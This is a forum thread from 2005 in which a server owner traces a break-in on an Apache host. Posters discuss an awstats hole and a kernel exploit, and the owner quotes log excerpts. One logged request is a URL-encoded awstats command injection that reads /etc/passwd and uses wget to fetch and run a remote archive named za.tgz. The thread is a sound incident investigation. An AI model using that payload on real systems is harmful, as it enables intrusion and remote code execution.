HACKED: apache-scalp

What version of Apache was installed?

I saw the same thing with someone's unpatched server a few weeks ago. Had a happy ending – owner got a new box, new OS, will patch more frequently, no data loss, and only a few hours wasted.

That one was running Apache v1 but the exploit was almost certain to be PHP 4.3.9 or awstats, to gain local access. Once the cracker was in, he (or she) used the uselib kernel exploit to become root.

At that point, the cracker cleaned up most (but not all) of his tracks, installed an IRC dcc bot for purpose of exchanging files anonymously.

(Essentially, a warez/mp3 file server net-wide, but only for these who knew how to save or fetch files and had the password)

Slick operation because guess who gets left holding the bag if the MPAA or RIAA sees (or finds out about) your host doing file transfers of their materials? You'd have been out a bare minimum of USD $3500.

Anyway, the crackers were Brazilian and part of a group. They also host their own private IRC network (not server, but network); that one had over 220 channels, many with 10-30 users per channel. All dedicated to cracking hosts on the net. The server operators knew a thing or two about securing the network -- they disabled the /links command and some other stuff.

(Wouldn't be surprised if there was a profit motive -- resell 'zombie PCs' services to spammers.)

Anyway, some food for thought regarding how the cracker may have had gotten in. Doubt it was scalp since that was fixed a couple years ago. :wink:

Good luck with the rebuild, and hope crackers don't hit in the future.

Just thought I would post an update here.

As for apache version, it is 2.0.46-44.

I re-made my tmp directories NOEXEC.

Once a night, I would notice a za.tgz fle appear in /tmp and my apache error logs says something like:

[Sun Feb 27 06:21:00 2005] [error] [client 208.191.23.3] --06:21:00--  http://www.gainward.as.ro/za.tgz
[Sun Feb 27 06:21:00 2005] [error] [client 208.191.23.3]            => `za.tgz'
[Sun Feb 27 06:21:02 2005] [error] [client 208.191.23.3] 06:21:02 (9.97 KB/s) - `za.tgz' saved [10141/10141]
[Sun Feb 27 06:21:02 2005] [error] [client 208.191.23.3]
[Sun Feb 27 06:21:02 2005] [error] [client 208.191.23.3] sh: line 1: ./zbind: P
ermission denied
[Sun Feb 27 06:21:02 2005] [error] [client 208.191.23.3] sh: line 1: fg: no job
 control

So they are aparently still causing apache to download something and attempt to execute.. but the NOEXEC on temp has prevented them. So I'm partially there. Now to find the holes.

I did some browsing in my error logs and the same IP address, just before the za.tgz was downloaded, tries this:

[Sun Feb 27 06:14:17 2005] [error] [client 208.191.23.3] script not found or un
able to stat: /home/darkforest/web/cgi-bin/awstats
[Sun Feb 27 06:14:19 2005] [error] [client 208.191.23.3] sh: line 1: /awstats.6
6.220.1.116.conf: No such file or directory
[Sun Feb 27 06:14:19 2005] [error] [client 208.191.23.3] id:
[Sun Feb 27 06:14:19 2005] [error] [client 208.191.23.3] write error
[Sun Feb 27 06:14:19 2005] [error] [client 208.191.23.3] : Broken pipe
[Sun Feb 27 06:14:19 2005] [error] [client 208.191.23.3]
[Sun Feb 27 06:14:19 2005] [error] [client 208.191.23.3] File does not exist: /
home/darkforest/web/cgi
[Sun Feb 27 06:21:00 2005] [error] [client 208.191.23.3] --06:21:00--  http://w
ww.gainward.as.ro/za.tgz

I checked my cgi-bin.. discovered a file named 'black' that was owned by apache (which is rare on my server). I removed black and did more searching in my logs and found this:

[208.191.23.3 - - [27/Feb/2005:06:20:58 -0800] "GET /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcat%20%2fetc%2fpasswd%3buname%20%2da%3bid%3becho%20Instalam%20Bind%20in%20%2fvar%2ftmp%3bcd%20%2fvar%2ftmp%3bwget%20www%2egainward%2eas%2ero%2fza%2etgz%3btar%20%2dxvzf%20za%2etgz%3bcd%20za%3b%2e%2fzbind%3becho%20Done%3becho%20e_exp%3b%2500 HTTP/1.1" 200 3171

Aha! Googling I found there are several awstats exploits out there. I deleted awstats from my system. I used to use it, as it was a cool log file analyzer. But it looks to me as it is a security risk.

I am confident this will take care of it. I'll let you know if I find anything else. Looks like just script kiddies.